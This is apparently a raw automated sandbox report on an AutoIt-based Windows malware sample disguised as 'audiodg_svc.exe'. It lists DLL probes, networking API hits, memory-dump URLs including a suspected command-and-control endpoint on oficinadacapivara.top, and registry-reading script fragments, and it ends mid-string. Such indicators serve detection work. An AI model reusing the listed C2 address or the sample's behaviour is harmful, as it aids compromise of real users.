"C:\Users\%OSUSER%\AppData\Local\EfUdy1v3brSz\WINMM.DLL" "audiodg_svc.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\EfUdy1v3brSz\MPR.DLL" "audiodg_svc.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\EfUdy1v3brSz\MPR.dll" "audiodg_svc.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\EfUdy1v3brSz\WININET.DLL" "audiodg_svc.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\EfUdy1v3brSz\WININET.dll" "audiodg_svc.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\EfUdy1v3brSz\IPHLPAPI.DLL" "audiodg_svc.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\EfUdy1v3brSz\USERENV.DLL" "audiodg_svc.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\EfUdy1v3brSz\USERENV.dll" "audiodg_svc.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\EfUdy1v3brSz\UXTHEME.DLL" "audiodg_svc.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\EfUdy1v3brSz\UxTheme.dll" "audiodg_svc.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\EfUdy1v3brSz\WINMMBASE.DLL"50:T43e,Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00005172-00000C2C-1061743902") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp")51:T14ee,Heuristic match: "_e.ad" Pattern match: "https://oficinadacapivara.top/principal/anuentity.phpglobal" Heuristic match: "api.ipify.org" Heuristic match: "get / http/1.1connection: keep-aliveaccept: */*user-agent: mozilla/4.0 (compatible; win32; winhttp.winhttprequest.5)host: api.ipify.org" Heuristic match: "oficinadacapivara.top" Heuristic match: "gt@.gt" Pattern match: "http://www.autoitscript.com/autoit3/" Pattern match: "https://oficinadacapivara.top/principal/anuentity.php" Pattern match: "https://api.ipify.org" Heuristic match: "ttps://api.ipify.org" Pattern match: "oficinadacapivara.top/principal/anuentity.php" Heuristic match: "*.oficinadacapivara.top" Heuristic match: "oapi.ipify.org" Pattern match: "https://api.ipify.org/" Pattern match: "c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0" Heuristic match: "ipify.org" Heuristic match: "*.ipify.org" Heuristic match: "host: oficinadacapivara.top" Heuristic match: "ntrust.net" Heuristic match: "ficinadacapivara.top" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://www.microsoft.com0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "www.digicert.com1!0" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Pattern match: "www.microsoft.com/pki/crl/products/miccertru&y" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.cr" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=%2fzvc%2fjz0glm9dyaydmurp05m77gp76z7mgnk21bpuw66uowcdpg%2f1bd20lkk%2fl5krr5p4kwbcmhaopk2wttmofwfc8iexn1cog2elo3xtpfs%2bzlnfztz4ekv9remdkoyi31ryrzhbgi%3d" Heuristic match: "a.top"52:T981e,Found URL "http://www.autoitscript.com/autoit3/filedescriptionautoit" - Source: "00000000-00004872.00000001.165447.0115C000.00000002.mdmp") Found URL "https://oficinadacapivara.top/principal/anuentity.php" - Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp") Found URL "https://api.ipify.org" - Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp") Found URL "https://api.ipify.org/y\user-1-5-21-735145es\wow64prochandlerclsid\" - Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp") Found URL "https://api.ipify.orghttps://api.ipify.org/microsoft" - Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0w<(" - Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0ut'9iqmgvw,czcglobalsign" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?emgvw,czcaucoonew" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0." - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*limta0lmem0lmemimtslmemimtfzmtdqj1lmozilla/4.0" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertru&y" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.cr" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "https://oficinadacapivara.top/principal/anuentity.phpuccess" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0w<(" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=%2fzvc%2fjz0glm9dyaydmurp05m77gp76z7mgnk21bpuw66uowcdpg%2f1bd20lkk%2fl5krr5p4kwbcmhaopk2wttmofwfc8iexn1cog2elo3xtpfs%2bzlnfztz4ekv9remdkoyi31ryrzhbgi%3d" - Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=%2fzvc%2fjz0glm9dyaydmurp05m77gp76z7mgnk21bpuw66uowcdpg%2f1bd20lkk%2fl5krr5p4kwbcmhaopk2wttmofwfc8iexn1cog2elo3xtpfs%2bzlnfztz4ekv9remdkoyi31ryrzhbgi%3d" - Source: "00000000-00005172.00000000.168279.00C93000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0w<(" - Source: "00000000-00005172.00000000.168279.00C93000.00000004.mdmp") Found URL "https://oficinadacapivara.top/principal/anuentity.php" - Source: "00000000-00005172.00000001.170200.00B20000.00000004.mdmp") Found URL "https://api.ipify.org" - Source: "00000000-00005172.00000001.170200.00B20000.00000004.mdmp") Found URL "https://api.ipify.orghttps://api.ipify.org/microsoft" - Source: "00000000-00005172.00000001.170200.00B20000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0w<(" - Source: "00000000-00005172.00000001.170200.00B20000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0ut'9iqmgvw,czcglobalsign" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?emgvw,czcaucoonew" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0." - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*limta0lmem0lmemimtslmemimtfzmtdqj1lmozilla/4.0" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertru&yasyc" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.cr" - Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found URL "https://oficinadacapivara.top/principal/anuentity.php9iqmgvw,czcglobalsign" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?emgvw,czcaucoonew" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0." - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*limta0lmem0lmemimtslmemimtfzmtdqj1lmozilla/4.0" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertru&yasyc" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.cr>b5.$%'%$%'%k.$" - Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp") Found URL "https://oficinadacapivara.top/principal/anuentity.php9iqmgvw,czcglobalsign" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?emgvw,czcaucoonew" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0." - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*limta0lmemhmt" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertru&yasyc" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.cr" - Source: "00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=%2fzvc%2fjz0glm9dyaydmurp05m77gp76z7mgnk21bpuw66uowcdpg%2f1bd20lkk%2fl5krr5p4kwbcmhaopk2wttmofwfc8iexn1cog2elo3xtpfs%2bzlnfztz4ekv9remdkoyi31ryrzhbgi%3d" - Source: "00000000-00005172.00000003.174592.00C80000.00000004.mdmp") Found URL "http://www.autoitscript.com/autoit3/filedescriptionautoit" - Source: "00000000-00005172.00000003.174592.0115C000.00000002.mdmp")53:T402,Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C7A000.00000004.mdmp, 00000000-00005172.00000002.172121.00C04000.00000004.mdmp, 00000000-00005172.00000002.172121.00C80000.00000004.mdmp, 00000000-00005172.00000003.174592.00C04000.00000004.mdmp, 00000000-00005172.00000003.174592.00C80000.00000004.mdmp") Found string "incipal/aNuEntity.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00BE1000.00000004.mdmp") Found string "u~-HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C7A000.00000004.mdmp, 00000000-00005172.00000002.172121.00C80000.00000004.mdmp, 00000000-00005172.00000003.174592.00C80000.00000004.mdmp")54:T506,Found string "+ncalrpc:[OLE6C6768EBC166335856097052FCF5]" (Indicator: "ncalrpc"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp, 00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp") Found string "B+ncalrpc:[OLE6524DF6FDE8E966222C93C3D6829]" (Indicator: "ncalrpc"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00BE1000.00000004.mdmp") Found string "+ncalrpc:[OLE6524DF6FDE8E966222C93C3D6829]" (Indicator: "ncalrpc"; Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C04000.00000004.mdmp, 00000000-00005172.00000002.172121.00C04000.00000004.mdmp, 00000000-00005172.00000003.174592.00C04000.00000004.mdmp") Found string "-+ncalrpc:[OLE6C6768EBC166335856097052FCF5]" (Indicator: "ncalrpc"; Source: "00000000-00005172.00000003.174592.00C7A000.00000004.mdmp")55:T4be,Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp, 00000000-00005172.00000003.174592.00B9A000.00000004.mdmp") Found string ":\WINDOWS\SysWOW64\Kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00BE1000.00000004.mdmp, 00000000-00005172.00000002.172121.00BE1000.00000004.mdmp, 00000000-00005172.00000003.174592.00BE1000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp, 00000000-00005172.00000003.174592.00B9A000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp, 00000000-00005172.00000003.174592.00B9A000.00000004.mdmp")56:T575,Found registry query API: "RegOpenKeyExW" in "00000000-00004872.00000003.168025.01123000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00004872.00000003.168025.01123000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00004872.00000003.168025.01123000.00000002.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00004872.00000003.168025.01123000.00000002.mdmp" Found registry query API: "al $sWinVersion = RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName")" in "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp, 00000000-00005172.00000003.174592.00B20000.00000004.mdmp" Found registry query API: "ocal $sWinVersion = RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName")" in "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp" Found registry query API: "ocal $sProcessador = 